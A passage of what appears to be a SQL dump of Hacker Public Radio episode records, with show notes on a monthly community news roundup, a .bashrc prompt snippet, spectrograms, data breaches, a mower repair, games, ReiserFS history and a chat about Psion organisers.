href=\"https://hackerpublicradio.org/eps/hpr3948/index.html\" target=\"_blank\">Cleaning up my mancave and talking about Creativity</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3949/index.html\" target=\"_blank\">3949</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-09-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3949/index.html\" target=\"_blank\">How I use virtualisation to tame my Social Media addiction.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3950/index.html\" target=\"_blank\">3950</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3950/index.html\" target=\"_blank\">Sid Meiers\' Alpha Centauri</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3951/index.html\" target=\"_blank\">3951</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-09-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3951/index.html\" target=\"_blank\">Cell Phone Screen Protectors</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3952/index.html\" target=\"_blank\">3952</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-09-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3952/index.html\" target=\"_blank\">Making the Case for Markdown</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0266.html\" target=\"_blank\">Keith Murray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3953/index.html\" target=\"_blank\">3953</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-09-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3953/index.html\" target=\"_blank\">Large language models and AI don\'t have any common sense</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0424.html\" target=\"_blank\">hobs</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3954/index.html\" target=\"_blank\">3954</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-09-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3954/index.html\" target=\"_blank\">Sedating HPR at the Steading</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3955/index.html\" target=\"_blank\">3955</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3955/index.html\" target=\"_blank\">airgradient measurement station</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 8 comments in total.</p>\n<h3>Past shows</h3>\n<p>There is 1 comment on\n1 previous show:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3934/index.html#comments\" target=\"_blank\">hpr3934</a></strong>\n(2023-08-31) \"<em>Crusader Kings II</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3934/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-09-04:\n\"Loved the show\"</li></ul><br/>\n</limage></ul>\n<h3>This month\'s shows</h3>\n<p>There are 7 comments on 6 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3937/index.html#comments\" target=\"_blank\">hpr3937</a></strong>\n(2023-09-05) \"<em>Adventures in Pi-Hole</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0423.html\" target=\"_blank\">Noodlez</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3937/index.html#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2023-09-16:\n\"Clever static IP solution\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3938/index.html#comments\" target=\"_blank\">hpr3938</a></strong>\n(2023-09-06) \"<em>An open directory of web audio stream</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3938/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-09-07:\n\"Update\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html#comments\" target=\"_blank\">hpr3940</a></strong>\n(2023-09-08) \"<em>Equipment Maintenance</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-09-19:\n\"Tires\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2023-09-20:\n\"Telling it like it is\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html#comments\" target=\"_blank\">hpr3941</a></strong>\n(2023-09-11) \"<em>Interview with Yosef Kerzner</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-09-19:\n\"honesty\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3946/index.html#comments\" target=\"_blank\">hpr3946</a></strong>\n(2023-09-18) \"<em>Planning for a planner, part 02.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3946/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-09-19:\n\"Previously\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3948/index.html#comments\" target=\"_blank\">hpr3948</a></strong>\n(2023-09-20) \"<em>Cleaning up my mancave and talking about Creativity</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3948/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-09-24:\n\"TUCOWS\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://lists.hackerpublicradio.com/pipermail/hpr/2023-September/thread.html\" target=\"_blank\">https://lists.hackerpublicradio.com/pipermail/hpr/2023-September/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"fosdem-2024\">FOSDEM 2024</h3>\n<ul>\n<li><p>FOSDEM 2024 will take place on Saturday 3rd and Sunday 4th of\nFebruary 2024 in Brussels, Belgium. It will be at the usual location,\nthe ULB (Université libre de Bruxelles).</p></li>\n<li><p>Neither Ken nor Dave will be attending this time.</p></li>\n<li><p>If anyone wishes to apply for a stand on HPR\'s behalf, and if\npeople want to help out doing the key speaker interviews, please get in\ntouch.</p></li>\n</ul>\n<h3 id=\"site-migration\">Site migration</h3>\n<ul>\n<li><p>During September effort has gone into fixing broken links in the\nstatic site templates and the database itself.</p></li>\n<li><p>There are still more links to correct however.</p></li>\n<li><p>Each show page now contains a link to the version of the show\nuploaded to the Internet Archive. If there are HPR links in older shows\nthat have not been updated yet, this copy can be used instead.</p></li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3691,'2022-09-26','Starship.rs the best prompt I don\'t use',1529,'Bash prompts','<p>Here\'s the snippets I use in my .bashrc file.</p>\n\n<pre><code>RED=&#39;&#92;033&#91;0;31m&#39;\nPLAIN=&#39;&#92;033&#91;0m&#39; # No Color\nWHITE=&#39;&#92;e&#91;97m&#39;\nGREEN=&#39;&#92;e&#91;0;32m&#39;\nPURPLE=&#39;&#92;e&#91;35;35m&#39;\nCYAN=&#39;&#92;e&#91;36;36m&#39;\n\nJAVA_VERSION=`java --version | head -1 | cut -f2 -d&#39; &#39;`\n\nIP=&#36;&#40;hostname -I | awk &#39;{print &#36;1;}&#39; &#41;\nsource &#47;usr&#47;doc&#47;git-2.35.1&#47;contrib&#47;completion&#47;git-prompt.sh\nPS1=&#39;&#92;! &#91;&#92;&#91;&#39;&#36;GREEN&#39;&#92;&#93;&#36;&#40;hostname -s&#41; &#36;IP&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93;&#93; &#91;&#92;&#91;&#39;&#36;CYAN&#39;&#92;&#93;&#36;&#40;pwd -P&#41;&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93;&#93; &#36;&#40;__git_ps1 &#34;&#91;&#92;&#91;&#39;&#36;PURPLE&#39;&#92;&#93; %s&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93;&#93;&#34;&#41;&#91;☕ &#39;&#36;JAVA_VERSION&#39;&#93;&#92;n&#92;&#91;&#39;&#36;GREEN&#39;&#92;&#93;&#36;&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93; &#39;</code></pre>\n',78,0,0,'CC-BY-SA','bash,ps1,terminal,linux',0,0,1),
(3698,'2022-10-05','Spectrogram',949,'Edit audio as a spectrogram','<p>Here\'s a view of my voice. The bright spots at the bottom of the image are my voice, and the bright burst at the top is a click caused by saliva.</p>\n<img src=\"https://i.imgur.com/CmL49Ne.png\" />\n<p>Here\'s me inhaling. Notice how sparse this is compared to my voice.</p>\n<img src=\"https://i.imgur.com/DXGrh5u.png\" />\n<p>One thing I fail to mention in the episode is that there are network monitors that render network activity as a spectrogram, too. If you don\'t have a <a href=\"https://www.metageek.com/wi-spy/\" target=\"_blank\">Wi-Spy</a>, it\'s worth looking at.</p>\n',78,0,0,'CC-BY-SA','audio',0,0,1),
(3726,'2022-11-14','Breaches ever reaching',251,'A short episode about the reaching effects of breaches and forgotten accounts','<p>A short episode about the reaching effects of breaches and accounts you may have forgotten about.</p>\n<ul>\n<li><p>New Marriot Breach:<br />\n<a href=\"https://techcrunch.com/2022/07/06/marriott-breach-again/\" class=\"uri\">https://techcrunch.com/2022/07/06/marriott-breach-again/</a></p></li>\n<li><p>Privacy Fix: How to Find Old Online Accounts from Consumer Reports:<br />\n<a href=\"https://www.consumerreports.org/digital-security/how-to-find-old-online-accounts-a1266305698/\" class=\"uri\">https://www.consumerreports.org/digital-security/how-to-find-old-online-accounts-a1266305698/</a></p></li>\n<li><p>Has you email or phone number been in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Cool Shit:</p>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,breach,data reduction,privacy',0,0,1),
(3692,'2022-09-27','What is a real hacker?',1840,'I discuss the issue of what makes a real hacker with my my son','<p>In this episode, I discuss the ever prominent question of \"What is a real hacker?\" in explicitly explicit language. So enjoy the discussion and give me your thoughts. This topic always gets peoples feathers ruffled, so agree, disagree? Leave your thoughts or post your own segment on HPR!</p>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,hacking,hacker',0,0,1),
(3693,'2022-09-28','Fixing the automatic cutoff mechanism to an electric mower',274,'Rho`n describes fixing the safety mechanism to his electric mower','<h1>Synopsis</h1>\n\n<p>In this episode, Rho`n fixes the safety mechanism to his Neuton electric mower. Recently the automatic cutoff mechanism was getting finicky. Needing to pull the safety bar back just the correct amount to keep the mower running. Often needing to keep hands on both the left and right sides of the safety bar to prevent the mower from turning off.</p>\n<p>After opening up the housing holding the safety bars, it appeared that the tension spring which causes the bars to disengage from the switch when the bars are released was loose. This would allow the prong that the bars push into the switch contact to slip off the contact and slide overtop of the switch&mdash;turning off the mower. After tightening the coils and putting it back in place, the issue was resolved.</p>\n<style>\ndiv#figures {\n    display: flex;\n    flex-direction: row;\n    flex-wrap: wrap;\n    justify-content: center;\n}\ndiv#figures figcaption { max-width: 490px; }\ndiv#figures img { max-width: 50vw; padding-bottom: 0.15em }\n</style>\n<div id=\"figures\">\n<figure>\n    <a href=\"https://hackerpublicradio.org/eps/hpr3693/mower01-lg.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3693/mower01-sm.jpg\"\n         alt=\"Neuton electric mower\"></a>\n    <br>\n    <figcaption>Neuton electric mower with handle collapsed showing the bottom of the safety handle housing.</figcaption>\n</figure>\n<figure>\n    <a href=\"https://hackerpublicradio.org/eps/hpr3693/mower02-lg.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3693/mower02-sm.jpg\"\n                                   alt=\"Internal view of safety mechanism\"></a>\n    <br>\n    <figcaption>Internal view of the automatic cutoff mechanism.</figcaption>\n</figure>\n</div>\n\n<h1>Attribution</h1>\n\n<p>The <a href=\"https://freesound.org/\">transition sound used between audio clips is found on freesound.org</a>:<br>\n<a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Name: Harp Transition Music Cue</a><br>\n<a href=\"https://freesound.org/people/DanJFilms/\">Author: DanJFilms</a><br>\n<a href=\"http://creativecommons.org/publicdomain/zero/1.0/\">License: Creative Commons Zero</a></p>\n\n',293,0,0,'CC-BY-SA','electric lawnmower,lawnmower,repair',0,0,1),
(3694,'2022-09-29','Robo Tripping Ravelords of the Apocalypse',616,'Organic Synthesis of Human and Machine Occurs Post Cosmic Event    ','\r\n<p>In the aftermath of the cosmic event that destroyed all computers below a certain die size, more robust machines emerge from the ashes.</p>\r\n\r\n<p><a href=\"/eps/hpr3694/3694.jpg\"><img src=\"/eps/hpr3694/3694-thumb.jpg\" alt=\"Sketch of the machine\" /></a></p>\r\n',401,0,0,'CC-BY-SA','beam,righttorepair,robots,mechatronics,apocalypse',0,0,1),
(3699,'2022-10-06','Old and new videogames/board games with guest binrc',2552,'We will dive into our favorite games or others with interesting mechanics.','<h1 id=\"videogames\">Videogames</h1>\n<p>Cruelty Squad on Steam <a href=\"https://store.steampowered.com/app/1388770/Cruelty_Squad/\">Steam</a></p>\n<p>Half-Life <a href=\"https://store.steampowered.com/app/70/HalfLife/\">Steam</a></p>\n<p>Half-Life 2 <a href=\"https://store.steampowered.com/app/220/HalfLife_2/\">Steam</a></p>\n<p>Deus Ex <a href=\"https://store.steampowered.com/app/6910/Deus_Ex_Game_of_the_Year_Edition/\">Steam</a>, <a href=\"https://www.gog.com/en/game/deus_ex\">GOG</a></p>\n<p>Fallout 3 <a href=\"https://store.steampowered.com/app/22300/Fallout_3/\">Steam</a>, <a href=\"https://www.gog.com/en/game/fallout_3_game_of_the_year_edition\">GOG</a></p>\n<p>Slay the Spire <a href=\"https://store.steampowered.com/app/646570/Slay_the_Spire/\">Steam</a>, <a href=\"https://www.gog.com/game/slay_the_spire\">GOG</a></p>\n<p>Crypt of the NecroDancer <a href=\"https://store.steampowered.com/app/247080/Crypt_of_the_NecroDancer/\">Steam</a>, <a href=\"https://www.gog.com/game/crypt_of_the_necrodancer\">GOG</a></p>\n<p>Spin the bottle Bumpie\'s party (Nintendo WiiU) <a href=\"http://spinthebottlethegame.com/\">website</a></p>\n<p>Affordable space adventures (Nintendo WiiU) <a href=\"http://affordablespaceadventures.com/\">website</a></p>\n<p>Old School Runescape <a href=\"https://play.runescape.com/oldschool\">website</a>, <a href=\"https://runelite.net/\">open-source client</a></p>\n<p>Runescape music: Sea shanty 2 <a href=\"https://www.youtube.com/watch?v=BJhF0L7pfo8\">original</a>, <a href=\"https://www.youtube.com/watch?v=bfcZacwnVCk\">remix</a></p>\n<p>Life is strange <a href=\"https://store.steampowered.com/app/319630/Life_is_Strange__Episode_1/\">Steam</a>, <a href=\"https://www.gog.com/game/life_is_strange_complete_season\">GOG</a></p>\n<p>Grim Fandango <a href=\"https://store.steampowered.com/app/316790/Grim_Fandango_Remastered/\">Steam</a></p>\n<h2 id=\"linux-native-games\">Linux-native games</h2>\n<p>These games can be found in most linux distro repositories.</p>\n<p>Endless Sky <a href=\"https://endless-sky.github.io/\">website</a>, <a href=\"https://store.steampowered.com/app/404410/Endless_Sky/\">Steam</a></p>\n<p>Powermanga <a href=\"https://linux.tlk.fr/games/Powermanga/\">website</a></p>\n<p>SuperTuxKart <a href=\"https://supertuxkart.net/Main_Page\">website</a></p>\n<p>Xbill <a href=\"https://en.wikipedia.org/wiki/XBill\">Wikipedia</a>, <a href=\"http://www.xbill.org/\">website</a></p>\n<h2 id=\"retrogame\">Retrogame</h2>\n<p>Banjo Kazooie (Nintendo 64) <a href=\"https://en.wikipedia.org/wiki/Banjo-Kazooie\">Wikipedia</a></p>\n<p>Ducktales (NES) <a href=\"https://en.wikipedia.org/wiki/DuckTales_(video_game)\">Wikipedia</a></p>\n<h1 id=\"board-games\">Board Games</h1>\n<p>Labyrinth <a href=\"https://www.ravensburger.us/products/games/award-winning-games/labyrinth-26448/index.html\">website</a></p>\n<p>Tokaido <a href=\"https://funforge.fr/game/en/tokaido\">website</a>, <a href=\"https://store.steampowered.com/app/648750/Tokaido/\">Steam</a></p>\n<p>Wingspan <a href=\"https://stonemaiergames.com/games/wingspan/\">website</a>, <a href=\"https://store.steampowered.com/app/1054490/Wingspan/\">Steam</a></p>\n',407,0,1,'CC-BY-SA','games,guest,videogames,board games',0,0,1),
(3701,'2022-10-10','ReiserFS - the file system of the future',1171,'The history and future of ReiserFS, its involvement with DARPA, a sordid murder and Kernel politics','<ul>\n<li>ReiserFS &#x2013; The file system of the future</li>\n<li>Intro: Welcome to HPR; What I do; How I got in to computing; How I got in to Slackware and discovered ReiserFS</li>\n<li>A history of ReiserFS: Previous episode; Brief recap; A brief history; Lessons learned and experiences gained; Some tools to use</li>\n<li>Outro: Thanks</li>\n</ul>\n\n<h3>ReiserFS</h3>\n<em><a href=\"https://en.wikipedia.org/wiki/ReiserFS\">From Wikipedia, the free encyclopedia</a></em>\n\n<p>\nReiserFS is a general-purpose, journaling file system initially designed and implemented by a team at Namesys led by Hans Reiser and licensed under GPLv2. Introduced in version 2.4.1 of the Linux kernel, it was the first journaling file system to be included in the standard kernel. ReiserFS was the default file system in Novell\'s SUSE Linux Enterprise until Novell decided to move to ext3 on October 12, 2006, for future releases.<br />\n\nNamesys considered ReiserFS version 3.6 which introduced a new on-disk format allowing bigger filesizes, now occasionally referred to as Reiser3, as stable and feature-complete and, with the exception of security updates and critical bug fixes, ceased development on it to concentrate on its successor, Reiser4. Namesys went out of business in 2008 after Reiser\'s conviction for murder. The product is now maintained as open source by volunteers. The reiserfsprogs 3.6.27 were released on 25 July 2017.<br />\n\nReiserFS is currently supported on Linux without quota support. It has been discussed for removal from the Linux kernel since early 2022 due to a lack of maintenance upstream, and technical issues inherent to the filesystem, such as the fact it suffers from the year 2038 problem; it was deprecated in Linux 5.18, with removal planned for 2025.\n</p>\n',411,0,0,'CC-BY-SA','hans reiser, reiserfs, reiser4, reiser5, slackware, linux, intro, darpa, acorn, amiga, commodore',0,0,1),
(3702,'2022-10-11','Easter Ogg',3722,'From Scotland, another chat between MrX and Dave Morriss','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hosts:</p>\n<ul>\n<li><a href=\"https://hackerpublicradio.org/correspondents/0201.html\">MrX</a></li>\n<li><a href=\"https://hackerpublicradio.org/correspondents/0225.html\">Dave Morriss</a></li>\n</ul>\n<p>We recorded this on Monday September 12<sup>th</sup> 2022. We have a list of talking points each time and <em>never</em> get through them!</p>\n<h2 id=\"topics-discussed\">Topics discussed</h2>\n<ul>\n<li>Places visited:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Lake_District\">Lake District, England</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Loch_Lomond\">Loch Lomond, Scotland</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Stockbridge,_Edinburgh\">Stockbridge, Edinburgh</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Water_of_Leith\">Water of Leith, Edinburgh</a></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Death_and_state_funeral_of_Elizabeth_II\">Death of Queen Elizabeth</a>\n<ul>\n<li>Died September 8<sup>th</sup> 2022 at Balmoral Castle, Scotland, aged 96</li>\n<li>State funeral 2022-09-19</li>\n</ul></li>\n</ul>\n<ul>\n<li>Navigation by phone:\n<ul>\n<li>Dave’s phone battery out of charge on the outskirts of Liverpool on the way to OggCamp.</li>\n<li>MrX’s old Garmin GPS used weird routes when travelling</li>\n<li>Dave once met a lost driver going down Donkey Lane<a href=\"#fn1\" class=\"footnote-ref\" id=\"fnref1\" role=\"doc-noteref\"><sup>1</sup></a> to the pedestrian railway crossing due to bad GPS directions</li>\n</ul></li>\n</ul>\n<ul>\n<li>Domestic stuff:\n<ul>\n<li>Dave’s house has been painted. It’s covered in <a href=\"https://en.wikipedia.org/wiki/Harling_(wall_finish)\"><em>harling</em></a> (aka <em>rough-cast</em> or <em>pebble-dash</em> in England) which has very sharp stones embedded in it, and this paint covers these sharp stones.</li>\n<li>Plumbing issues: stopping a dripping tap, replacing the washer, or with modern taps <em>the module</em>.</li>\n<li>Advisability of calling in a plumber!</li>\n</ul></li>\n</ul>\n<ul>\n<li>COVID-19, and related:\n<ul>\n<li>The virus has not gone, even though there are many who pretend that it has.</li>\n<li>MrX and MrsX visited <a href=\"https://en.wikipedia.org/wiki/St_Bees\">St Bees</a> for a wedding with a <a href=\"https://en.wikipedia.org/wiki/C%C3%A8ilidh\">Cèilidh</a> and MrX caught COVID there, though it wasn’t serious. MrsX did not catch it!</li>\n<li>Immunology is hard to understand! Some cold-like illnesses may be caused by other corona viruses and may help protect against SARS-CoV-2.</li>\n<li>Dave has an Immunology book, but hasn’t read it yet! See the links for details.</li>\n<li>MrX mentioned <a href=\"https://www.taxresearch.org.uk/Blog/\">Richard J Murphy</a> in the context of being realistic about COVID-19 and continuing to take precautions.</li>\n<li>Reluctance to go shopping. Dave makes a weekly trip, wearing a mask. MrX uses <em>Click and Collect</em>.</li>\n<li>Dave has lost weight so some of his clothes are too big. MrX has trouble finding smaller sized clothes when shopping.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Old technology:\n<ul>\n<li>MrX recently found a box in his wardrobe with six <a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3c\">Psion 3c Organisers</a> in it, in various states of disrepair. From these a functioning organiser was made, which is in regular use.</li>\n<li>MrX used to have a <a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3a\">Psion Series 3a</a> but the hinge failed.</li>\n<li>Dave had a <a href=\"https://en.wikipedia.org/wiki/Psion_Series_5\">Psion Series 5mx</a> for a time, as did MrsX. Dave’s failed either because of a screen fault or a failure of the ribbon cable connecting to the screen.</li>\n<li>The Series 3c, and the later 3mx, have an Easter Egg available through a particular key sequence. This is a rendition of the anthem “Jerusalem”, and is included at the end of this episode (and is responsible for the show title).</li>\n<li>Dave had had a <a href=\"https://en.wikipedia.org/wiki/Psion_Organiser\">Psion Organiser II</a> at work in the early days of organisers, but it was not particularly useful.</li>\n<li>MrX had an <a href=\"https://en.wikipedia.org/wiki/Atari_Portfolio\">Atari Portfolio</a>. He describes it as: <em>a dreadful machine running DOS 2.11<br />\nIt regularly crashed, losing all its memory. I decided to ditch it after having to type out my contacts list every time it crashed.</em></li>\n<li>MrX also had a <a href=\"https://en.wikipedia.org/wiki/Nokia_N810\">Nokia N810</a>, an <em>Internet Tablet</em> running Linux.</li>\n<li>Dave couldn’t quite remember at the time of recording, but he bought a used <a href=\"https://en.wikipedia.org/wiki/Nokia_770_Internet_Tablet\">Nokia 770</a> on eBay, which was the predecessor of the N810. This was also a Linux-based system, but it didn’t last more than a couple of weeks sadly.</li>\n<li>Both bought - and still have - the <a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\">ASUS Eee PC</a>. Dave’s is the 1005HA model.\n<ul>\n<li>MrX still uses his from time to time</li>\n<li>Dave is thinking about installing a BSD flavour on his, but doesn’t use it often. It currently has <em>CrunchBang</em> installed.</li>\n</ul></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Telegram_(software)\">Telegram</a>:\n<ul>\n<li>Dave runs it on his desktop (and laptop) as well as two phones. The phones run KDE Connect and are configured to tell the desktop when a message arrives!</li>\n</ul></li>\n</ul>\n<ul>\n<li>HPR New Year show:\n<ul>\n<li><em>HonkeyMagoo</em> (of the <a href=\"https://linuxlugcast.com/index.php/category/podcast/\">Linux LUGCast podcast</a>) does a lot of the work with the recording in conjunction with Ken. He divides up the audio into shows, and in past years has prepared show notes.</li>\n<li>This year a LUGCast listener <em>HPLovecraft</em> did the notes, and they are very good!</li>\n</ul></li>\n</ul>\n<h2 id=\"postscript\">Postscript</h2>\n<p>MrX found the <em>Easter Egg</em>, mentioned during our chat, on his Psion Series 3C, recorded it via Audacity, and sent me the resulting <em>Easter Ogg</em>! It has been appended to the main recording.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Various Wikipedia links:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Lake_District\">Lake District, England</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Loch_Lomond\">Loch Lomond, Scotland</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Stockbridge,_Edinburgh\">Stock Bridge, Edinburgh</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Water_of_Leith\">Water of Leith, Edinburgh</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Death_and_state_funeral_of_Elizabeth_II\">Death of Queen Elizabeth</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/St_Bees\">St Bees on the coast of Cumbria, England</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Harling_(wall_finish)\">Harling wall covering (aka rough-cast)</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/C%C3%A8ilidh\">Cèilidh, a traditional Scottish social gathering</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Book:\n<ul>\n<li><a href=\"https://www.wiley.com/en-gb/How+the+Immune+System+Works,+6th+Edition-p-9781119542124\">How the Immune System Works, Lauren Sompayrac, ISBN 9781119542124</a></li>\n</ul></li>\n</ul>\n<ul>\n<li><a href=\"https://www.taxresearch.org.uk/Blog/\">Richard J Murphy</a>\n<ul>\n<li><a href=\"https://www.taxresearch.org.uk/Blog/2022/08/10/the-strangest-feeling/\">Item mentioned in the blog</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Organisers (all Wikipedia links):\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Organiser\">Psion Organiser II</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3a\">Psion 3a Organiser</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3c\">Psion 3c Organiser</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_5\">Psion Series 5</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Atari_Portfolio\">Atari Portfolio</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nokia_N810\">Nokia N810</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Nokia_770_Internet_Tablet\">Nokia 770</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\">ASUS Eee PC</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Instant Messaging:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Telegram_(software)\">Telegram</a>\n<ul>\n<li>Owned by a Russian billionaire.</li>\n</ul></li>\n</ul></li>\n</ul>\n<section class=\"footnotes\" 